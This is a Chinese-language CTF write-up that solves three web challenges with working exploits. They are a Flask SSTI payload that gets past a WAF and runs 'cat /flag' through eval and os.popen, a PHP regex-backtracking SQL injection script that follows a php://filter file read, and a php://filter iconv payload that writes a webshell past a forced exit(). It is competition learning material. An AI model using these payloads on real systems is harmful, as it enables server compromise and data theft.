前言
刚参加完比赛,趁还热乎这,就简(shui)单(pian)记(bo)录(ke)一下解题过程吧。逃(
正文
web共有4题,能力有限,只做出了3题。
flask
题目告诉了web框架是flask,故开题直接老规矩,寻找SSTI。而考点重灾区,404页面肯定是第一时间要尝试的。

寻找404页面:

发现页面会将地址信息填充到页面内,直接{{ 7*7 }}
尝试,如果返回49则代表此处极有可能存在SSTI漏洞。

BINGO。接下来尝试从基类寻找危险函数了。
在此过程中发现题目存在WAF,对于存在下划线_
与点号.
的URL会被WAF拦截。
对于下划线我们可以通过请求代换给他去掉,如
1 2 3
| POST /{{ ""[request["values"]["class"]] }}
class=__class__
|
上述payload在flask环境下相当于:
寻找可用的类(通过Burp的Intruder爆破):
1 2 3 4 5 6 7
| POST /%7B%7B''[request["values"]["class"]][request["values"]["mro"]][request["values"]["subclass"]]()[§§][request["values"]["init"]][request["values"]["globals"]][request["values"]["builtins"]]%7D%7D HTTP/1.1 Host: x.x.x.x:10009 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 108
class=__class__&mro=__base__&subclass=__subclasses__&init=__init__&globals=__globals__&builtins=__builtins__
|

450为无效数据,在有效数据内随意找一个含有eval的类来执行代码:

读取利用eval函数列目录然后读取FLAG即可。

EXP:
1 2 3 4 5 6 7
| POST /%7B%7B''[request["values"]["class"]][request["values"]["mro"]][request["values"]["subclass"]]()[41][request["values"]["init"]][request["values"]["globals"]][request["values"]["builtins"]]['eval'](request["values"]["a"]%2b"import"%2brequest["values"]["a"]%2b'("os")'+request["values"]["b"]+"popen('cat /flag')"+request["values"]["b"]+'read()')%7D%7D HTTP/1.1 Host: x.x.x.x:10009 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 117
class=__class__&mro=__base__&subclass=__subclasses__&init=__init__&globals=__globals__&builtins=__builtins__&a=__&b=.
|
sql
这题侥幸拿了个一血,考点是PHP正则回溯漏洞。
打开题目链接,随意点了两下,发现一个可疑的URL,疑似是文件包含的功能,尝试LFI读取一下。


另一边direarch的结果也出来了:

结合本次题目标题,猜测考点为sql注入,我们先读取一下sql.php文件,看下后端的SQL代码是如何拼接的。
1
| file.php?file=php://filter/read=convert.base64-encode/resource=sql
|
得到sql.php源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php error_reporting(0);
include("config.php");
$id=isset($_POST['id']) ? $_POST['id'] : 1; if(preg_match('/UNION.+?SELECT|\/\*.*\*\/|sleep|and|if|&&|\|\||\^|%|ascii|mid|left|greatest|least|substr|=|-|<|>|benchmark|like|in|between|regexp/is', $id)) { die('SQL Injection'); }
mysqli_query($conn,"set names utf8");
$sql="select * from `ctf` where id ='".$id."'";
$result=mysqli_query($conn,$sql);
$row=mysqli_fetch_row($result); if($id==1) { echo "<img src='./img/1.png'><br>"; } else if($id==2) { echo"<img src='./img/2.jpg'><br>"; } else if($id==3) { echo"<img src='./img/3.jpg'><br>"; } else { echo "what do you do?"; } echo " <p class=\"lead\"> {$row[1]} </p> <p class=\"lead\"> {$row[2]} </p> " ?>
|
老实说,看到第一个正则判断就知道是考PHP正则回溯了,之前有碰到过相关的题。
故我们编写脚本,使用脚本帮助我们添加100w个垃圾数据,EXP如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
|
import requests
session = requests.session() payload = 'a' * 1000000
burp0_url = "http://x.x.x.x:10004/sql.php" burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"} burp0_data = {"id": "5' union/*" + payload + '*/select 1,2,group_concat(flag) from flag#'} r = session.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(r.text)
|

exit
这题挺有意思的,前前后后花费了好几个小时,最终才在比赛结束前半个小时弄出来。
打开题目得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php show_source('index.php'); function getKey($path){ $name = $path.md5($_SERVER["REMOTE_ADDR"]).'.php'; return $name; }
echo $_SERVER["REMOTE_ADDR"]; $expire = $_POST['expire']; $path = $_POST['path']; $filename = getKey($path); $value = $filename; $data = serialize($value); $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); ?>
|
可以看到关键点在与:
1 2
| $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data);
|
而第一句是不是有些眼熟?没错,这是EIS 2019 EZPOP其中的一个考点之一,并且后续也有几个题目模仿了此题,可以说是老熟悉的题了。
但是此题的关键再于$filename
与$data
序列化前的内容相同。
对于sprintf('%012d', $expire)
来说,会返回12位的数字字符串,接着与exit()
拼接上形成一段php代码。
由于exit()
的存在,使得正常情况下程序不会执行到exit()
之后的内容。所以如何跳出死亡exit成为了关键所在。
这里我们采用LFI来控制file_put_contents写入的内容,payload如下:
1
| expire=0&path=php://filter/write=convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple
|
其中convert.iconv.UCS-4LE.UCS-4BE
过滤器会将伪协议加载的字节流进行可以进行usc-4编码转化,从而使得原本的死亡exit代码块面目全非,php解析器自然是无法识别的。而我们自行构造的字节流也能拼接上去,经过编码转换后成为新的php代码。这段说得有点笼统,具体的详情请移步至这位大佬的文章:file_put_content和死亡·杂糅代码之缘。


后记
这次比赛题目质量还行,虽说对于大佬来说可能就是洒洒水的级别,但总的来说还算有所收获的,学到了一些东西,也感受到了自己不足的一些方向。对于web2的sql那题来说,能拿一血就是对我平常习惯写文章来记录所学内容的一种肯定,如果当初自己没写那篇总结,估计也那不到一血。XD
最后放一张弟弟队的成绩图,前几名的大佬都tql,orz。
